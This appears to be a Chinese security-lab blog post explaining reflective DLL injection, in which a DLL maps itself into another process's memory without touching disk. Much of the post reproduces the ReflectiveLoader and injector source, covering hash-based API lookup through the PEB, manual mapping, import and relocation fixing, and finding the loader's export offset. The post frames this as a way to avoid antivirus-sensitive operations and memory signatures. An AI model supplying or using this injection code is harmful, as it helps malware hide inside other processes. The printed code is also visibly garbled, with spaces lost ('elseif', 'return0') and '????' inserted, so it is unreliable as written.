0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

反射DLL注入的工作原理和實(shí)現(xiàn)流程

蛇矛實(shí)驗(yàn)室 ? 來(lái)源:蛇矛實(shí)驗(yàn)室 ? 2024-01-20 10:04 ? 次閱讀

本期作者/shadow

在之前的文章中,通過模擬 Windows 映像加載程序的功能,完全從內(nèi)存中加載 DLL 模塊,而無(wú)需將 DLL 存儲(chǔ)到磁盤上,但這只能從本地進(jìn)程中加載進(jìn)內(nèi)存中,如果想要在目標(biāo)進(jìn)程中通過內(nèi)存加載 DLL 模塊,可以通過一些 I/O 操作將所需的代碼寫入目標(biāo)進(jìn)程,但這大量的 I/O 操作對(duì)病毒引擎來(lái)說(shuō)過于敏感,還有一個(gè)思路就是編寫一段引導(dǎo)程序,這段引導(dǎo)程序用來(lái)模擬 Windows 映像加載程序的功能加載所需 DLL 模塊,這就是本文所描述的技術(shù),反射 DLL 注入。當(dāng)然,還有一些其它的方法通過可以完成這樣的需求,比如一些 PE 注入技術(shù),進(jìn)程鏤空,進(jìn)程重影等。

反射 DLL 注入

在理解其原理之前,需要知道什么是反射 DLL,反射 DLL 是一個(gè)特殊的 DLL 程序,其擁有一個(gè) PE 加載程序的引導(dǎo)程序,這個(gè)引導(dǎo)程序被作為一個(gè)導(dǎo)出函數(shù)導(dǎo)出,一旦目標(biāo)進(jìn)程調(diào)用此導(dǎo)出函數(shù),它將模擬 Windows 映像加載程序的功能,將 DLL 自身加載到內(nèi)存中執(zhí)行。

需要說(shuō)明的是,必須保證這個(gè)特殊的導(dǎo)出函數(shù)中的代碼是位置無(wú)關(guān)的,也就是說(shuō),該導(dǎo)出函數(shù)內(nèi)部不能使用全局變量并且使用到的 WinAPI 必須通過在運(yùn)行時(shí)通過 API Hash 值比對(duì)獲取,不能使用全局變量是因?yàn)槠浔挥簿幋a到編譯后的二進(jìn)制文件中,這些值在鏈接的過程中被添加到一個(gè)名為 .reloc 的區(qū)段中,而在執(zhí)行這塊引導(dǎo)程序(導(dǎo)出函數(shù))的時(shí)候,注入到目標(biāo)進(jìn)程的 DLL 程序尚未被加載,因此無(wú)法進(jìn)程被 Windows 映像加載程序?qū)ζ鋱?zhí)行重定位,如果在導(dǎo)出函數(shù)中使用全局變量的值,這將是一個(gè)無(wú)效的值,同樣不能在函數(shù)內(nèi)部使用 WinAPI 是同樣的道理,在執(zhí)行導(dǎo)出函數(shù)的時(shí)候,DLL 的 IAT 尚未修復(fù),如果直接調(diào)用 WinAPI 將導(dǎo)致訪問沖突異常。下圖說(shuō)明了反射 DLL 注入的工作原理。

92b1f318-b6b3-11ee-8b88-92fbcf53809c.png

反射 DLL 的實(shí)現(xiàn)

反射 DLL 注入(ReflectiveDLLInjection)的 POC 最初是由Stephen Fewer 發(fā)布的,該 POC 由兩部分組成,一部分是反射 DLL 的實(shí)現(xiàn),該 DLL 存在一個(gè)特殊的導(dǎo)出函數(shù)名稱為 ReflectiveLoader,另一部分是反射 DLL 的注入器代碼。ReflectiveDLLInjection 其倉(cāng)庫(kù)地址為:https://github.com/stephenfewer/ReflectiveDLLInjection。

獲取 ReflectiveLoader所需的

WinAPI 地址

前面提到,ReflectiveLoader 這個(gè)特殊的導(dǎo)出函數(shù)需要在運(yùn)行時(shí)通過 API Hash 比對(duì)獲取使用到的導(dǎo)出函數(shù)地址,ReflectiveLoader 函數(shù)中使用到的 WinAPI 有:

LoadLibraryA

GetProcAddress

VirtualAlloc

NtFlushInstructionCache

//STEP 1: process the kernels exports forthe functions our loader needs...

//get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword( 0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword( 0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2) + 0x30);
#endif
#endif

//get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress= (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

//get the first entry ofthe InMemoryOrder modulelist
uiValueA= (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
//get pointer to current modules name (unicode string)
uiValueB= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
//set bCounter to the length forthe loop
usCounter= ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
//clear uiValueC which will store the hash ofthe modulename
uiValueC = 0;

//compute the hash ofthe modulename...
do
{
uiValueC = ror( (DWORD)uiValueC );
//normalize to uppercase ifthe madule name isinlowercase
if( *((BYTE *)uiValueB) >= 'a')
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );

//compare the hash with that ofkernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
//get thismodules base address
uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

//get the VA ofthe modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofnamepointers
uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

// gettheVAforthearrayofnameordinals
uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

usCounter= 3;

// loopwhilewestillhaveimportstofind
while( usCounter > 0)
{
// computethehashvaluesforthisfunctionname
dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );

// ifwehavefoundafunctionwewantwegetitsvirtualaddress
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// gettheVAforthearrayofaddresses
uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usethisfunctionsnameordinalasanindexintothearrayofnamepointers
uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// storethisfunctionsVA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA= (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
elseif( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress= (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
elseif( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc= (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );

// decrementourcounter
usCounter--;
}

// getthenextexportedfunctionname
uiNameArray+= sizeof(DWORD);

// getthenextexportedfunctionnameordinal
uiNameOrdinals+= sizeof(WORD);
}
}
elseif( (DWORD)uiValueC == NTDLLDLL_HASH )
{
// getthismodulesbaseaddress
uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

//get the VA ofthe modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofnamepointers
uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );

// gettheVAforthearrayofnameordinals
uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

usCounter= 1;

// loopwhilewestillhaveimportstofind
while( usCounter > 0)
{
// computethehashvaluesforthisfunctionname
dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );

// ifwehavefoundafunctionwewantwegetitsvirtualaddress
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
{
// gettheVAforthearrayofaddresses
uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usethisfunctionsnameordinalasanindexintothearrayofnamepointers
uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// storethisfunctionsVA
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
pNtFlushInstructionCache= (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

// decrementourcounter
usCounter--;
}

// getthenextexportedfunctionname
uiNameArray+= sizeof(DWORD);

// getthenextexportedfunctionnameordinal
uiNameOrdinals+= sizeof(WORD);
}
}

// westopsearchingwhenwehavefoundeverythingweneed.
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
break;

// getthenextentry
uiValueA= DEREF( uiValueA );
}

定位反射 DLL 的基址

在獲取 ReflectiveLoader 所需的 WinAPI 的地址后,接下來(lái)就是定位反射 DLL 的基址,也就是注入程序?qū)⒎瓷?DLL 寫入目標(biāo)進(jìn)程空間中的位置,實(shí)現(xiàn)這個(gè)過程有兩種思路:

方法一:暴力檢索目標(biāo)進(jìn)程中反射 DLL 的地址。

方法二:通過將 DLL 在目標(biāo)進(jìn)程中的基址通過參數(shù)形式傳遞給 ReflectiveLoader 函數(shù)。

方式二實(shí)現(xiàn)較為簡(jiǎn)單,就是在將反射 DLL 寫入目標(biāo)進(jìn)程的過程中傳遞分配的地址給 ReflectiveLoader 函數(shù),因?yàn)樵趯懭敕瓷?DLL 的過程中知道其在目標(biāo)進(jìn)程空間中的地址,方式一則是根據(jù) PE 文件的頭部特征進(jìn)行定位,從 ReflectiveLoader 函數(shù)當(dāng)前指令位置,不斷向 DLL 頭部進(jìn)行檢索(由于 ReflectiveLoader 函數(shù)必定在反射 DLL 中 PE 頭部的下方),從而在目標(biāo)進(jìn)程中找到反射的 DLL 的基址。下面的代碼利用暴力檢索去定位反射 DLL 的基址。

// STEP 0: calculate our images current base address

// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();

// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE)
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024?)
????????{
????????????uiHeaderValue += uiLibraryAddress;
????????????// break if we have found a valid MZ/PE header
????????????if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}

其中 caller() 函數(shù)就是獲取當(dāng)前將要執(zhí)行的指令地址:

#pragmaintrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally 
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTRcaller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }

加載反射 DLL

到此已經(jīng)完成了基本的準(zhǔn)備工作,隨后便可以加載注入到目標(biāo)進(jìn)程的反射 DLL,這個(gè)過程將模擬 Windows 鏡像加載程序從而將反射 DLL 自身加載到目標(biāo)進(jìn)程內(nèi)存中并執(zhí)行。

這個(gè)加載過程如下:

首先分配足夠的內(nèi)存來(lái)保存反射 DLL 文件。

將反射 DLL 的 PE 頭部和節(jié)區(qū)復(fù)制到分配的空間中。(可以不用復(fù)制 PE 頭部以降低內(nèi)存中特征的幾率)。

修復(fù)反射 DLL 的基址重定位。

修復(fù)反射 DLL 的 IAT。

執(zhí)行反射 DLL 的入口點(diǎn)代碼(DllMain)。

//STEP 2: load our image into a newpermanent location inmemory...

//get the VA ofthe NT Header forthe PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

//allocate all the memory forthe DLL to be loaded into. we can load at any address because we will 
//relocate the image. Also zeros all memory andmarks it asREAD, WRITE andEXECUTE to avoid any problems.
uiBaseAddress= (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

// wemustnowcopyovertheheaders
uiValueA= ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;

while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

//STEP 3: load inall ofour sections...

//uiValueA = the VA ofthe first section
uiValueA= ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );

// itteratethroughallsections, loadingthemintomemory.
uiValueE= ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
//uiValueB isthe VA forthissection
uiValueB= ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

// uiValueCiftheVAforthissectionsdata
uiValueC= ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

// copythesectionover
uiValueD= ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

//get the VA ofthe next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

//STEP 4: process our images importtable...

//uiValueB = the address ofthe importdirectory
uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];

//we assume their isan importtable to process
//uiValueC isthe first entry inthe importtable
uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// itteratethroughallimports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// useLoadLibraryAtoloadtheimportedmoduleintomemory
uiLibraryAddress= (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

// uiValueD= VAoftheOriginalFirstThunk
uiValueD= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );

// uiValueA= VAoftheIAT(via first thunk notorigionalfirstthunk)
uiValueA= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

// itteratethroughallimportedfunctions, importingbyordinalifnonamepresent
while( DEREF(uiValueA) )
{
// sanitycheckuiValueDassomecompilersonlyimportbyFirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// gettheVAofthemodulesNTHeader
uiExportDir= uiLibraryAddress+ ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

//uiNameArray = the address ofthe modules exportdirectory entry
uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

//get the VA ofthe exportdirectory
uiExportDir= ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

// gettheVAforthearrayofaddresses
uiAddressArray= ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

// usetheimportordinal(- exportordinal base)asanindexintothearrayofaddresses
uiAddressArray+= ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

// patchintheaddressforthisimportedfunction
DEREF(uiValueA)= ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// gettheVAofthisfunctionsimportbynamestruct
uiValueB= ( uiBaseAddress + DEREF(uiValueA) );

// useGetProcAddressandpatchintheaddressforthisimportedfunction
DEREF(uiValueA)= (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// getthenextimportedfunction
uiValueA+= sizeof( ULONG_PTR );
if( uiValueD )
uiValueD+= sizeof( ULONG_PTR );
}

// getthenextimport
uiValueC+= sizeof( IMAGE_IMPORT_DESCRIPTOR );
}

// STEP5: processallofourimagesrelocations...

// calculatethebaseaddressdeltaandperformrelocations(even ifwe load at desired image base)
uiLibraryAddress= uiBaseAddress- ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

//uiValueB = the address ofthe relocation directory
uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

//check iftheir are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
//uiValueC isnow the first entry (IMAGE_BASE_RELOCATION)
uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

// andweitteratethroughallentries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA= theVAforthisrelocationblock
uiValueA= ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

// uiValueB= numberofentriesinthisrelocationblock
uiValueB= ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) )/ sizeof( IMAGE_RELOC );

// uiValueDisnowthefirstentryinthecurrentrelocationblock
uiValueD= uiValueC+ sizeof(IMAGE_BASE_RELOCATION);

// weitteratethroughalltheentriesinthecurrentblock...
while( uiValueB-- )
{
// performtherelocation, skippingIMAGE_REL_BASED_ABSOLUTEasrequired.
// wedontuseaswitchstatementtoavoidthecompilerbuildingajumptable
// whichwouldnotbeverypositionindependent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= uiLibraryAddress;
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= (DWORD)uiLibraryAddress;
#ifdefWIN_ARM
// Note: OnARM, thecompileroptimization/O2seemstointroduceanoffbyoneissue, possiblyacodegenbug. Using/O1insteadavoidsthisproblem.
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
{ 
registerDWORDdwInstruction;
registerDWORDdwAddress;
registerWORDwImm;
// gettheMOV.TinstructionsDWORDvalue(We add 4to the offset to go past the first MOV.W which handles the low word)
dwInstruction= *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
// flipthewordstogettheinstructionasexpected
dwInstruction= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
// sanitychackweareprocessingaMOVinstruction...
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
{
// pullouttheencoded16bitvalue(the high portion ofthe address-to-relocate)
wImm= (WORD)( dwInstruction & 0x000000FF);
wImm|= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm|= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm|= (WORD)((dwInstruction & 0x000F0000) >> 4);
// applytherelocationtothetargetaddress
dwAddress= ( (WORD)HIWORD(uiLibraryAddress) + wImm )& 0xFFFF;
// nowcreateanewinstructionwiththesameopcodeandregisterparam.
dwInstruction= (DWORD)( dwInstruction & ARM_MOV_MASK2 );
// patchintherelocatedaddress...
dwInstruction|= (DWORD)(dwAddress & 0x00FF);
dwInstruction|= (DWORD)(dwAddress & 0x0700)<< 4;
????????????dwInstruction?|= (DWORD)(dwAddress & 0x0800)?<< 15;
????????????dwInstruction?|= (DWORD)(dwAddress & 0xF000)?<< 4;
????????????// now?flip?the?instructions?words?and?patch?back?into?the?code...
????????????*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) )= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
}
}
#endif
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= HIWORD(uiLibraryAddress);
elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= LOWORD(uiLibraryAddress);

// getthenextentryinthecurrentrelocationblock
uiValueD+= sizeof( IMAGE_RELOC );
}

// getthenextentryintherelocationdirectory
uiValueC= uiValueC+ ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}

//STEP 6: call our images entry point

//uiValueA = the VA ofour newly loaded DLL/EXE's entry point
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;

其中需要注意的是,在執(zhí)行 DllMain 入口函數(shù)之前,需要調(diào)用 NtFlushInstructionCache 函數(shù)去清除整個(gè)進(jìn)程中的指令緩存,避免由于緩存使用重定位之前的代碼。

還有一些補(bǔ)充的東西,比如設(shè)置節(jié)區(qū)的權(quán)限,針對(duì)反射 DLL 這個(gè) PE 文件中如果存在異常處理程序,和 TLS 回調(diào)函數(shù),這些需要去針對(duì)處理,這些內(nèi)容在 PE 自注入文章中提及,可參考對(duì)其進(jìn)行補(bǔ)充。

反射 DLL 注入器實(shí)現(xiàn)

在反射 DLL 實(shí)現(xiàn)后,需要編寫一個(gè)反射 DLL 的注入程序?qū)⒎瓷?DLL 注入到目標(biāo)進(jìn)程中,在這個(gè)注入器中,將獲取反射 DLL 的導(dǎo)出函數(shù) ReflectiveLoader 在目標(biāo)進(jìn)程中的地址進(jìn)行遠(yuǎn)程調(diào)用。

獲取 ReflectiveLoader 函數(shù)的地址

獲取 ReflectiveLoader 導(dǎo)出函數(shù)的地址,通過一個(gè)名為 GetReflectiveLoaderOffset 的函數(shù)實(shí)現(xiàn),該函數(shù)通過解析寫入目標(biāo)進(jìn)程的反射 DLL 的導(dǎo)出表來(lái)獲取 ReflectiveLoader 這個(gè)導(dǎo)出函數(shù)的地址。

DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTRuiBaseAddress = 0;
UINT_PTRuiExportDir = 0;
UINT_PTRuiNameArray = 0;
UINT_PTRuiAddressArray = 0;
UINT_PTRuiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif

uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

// currenlty we can only process a PE file which is the same type as the one this fuction has 
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
{
if( dwCompiledArch != 1)
return0;
}
elseif( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
{
if( dwCompiledArch != 2)
return0;
}
else
{
return0;
}

// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 

// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));

if( strstr( cpExportedFunctionName, "ReflectiveLoader") != NULL)
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 

// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// return the File Offset to the ReflectiveLoader() functions code...
returnRva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);

// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}

return0;
}

其中 Rva2Offset 函數(shù)是將某數(shù)據(jù)的 RVA 轉(zhuǎn)換為該數(shù)據(jù)在文件中的偏移量(FOA),具體轉(zhuǎn)換公式為:

某數(shù)據(jù)的FOA=該數(shù)據(jù)的RVA?(該數(shù)據(jù)所在節(jié)的起始RVA–該數(shù)據(jù)所在節(jié)的起始FOA)

Rva2Offset 的代碼如下,該函數(shù)將給定數(shù)據(jù)的 RVA 轉(zhuǎn)換為對(duì)應(yīng)的文件偏移量。

DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{ 
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;

pNtHeaders= (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

pSectionHeader= (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);

if( dwRva < pSectionHeader[0].PointerToRawData )
????????return?dwRva;

????for( wIndex=0?; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{ 
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )???????????
???????????return?( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
????}
????
????return?0;
}

執(zhí)行 ReflectiveLoader 函數(shù)

要想將反射 DLL 被加載執(zhí)行,那么就需要執(zhí)行其導(dǎo)出函數(shù) ReflectiveLoader,在前面已經(jīng)通過解析反射 DLL 獲取到了 ReflectiveLoader 這個(gè)導(dǎo)出函數(shù)的地址,接下來(lái)就是執(zhí)行它了。

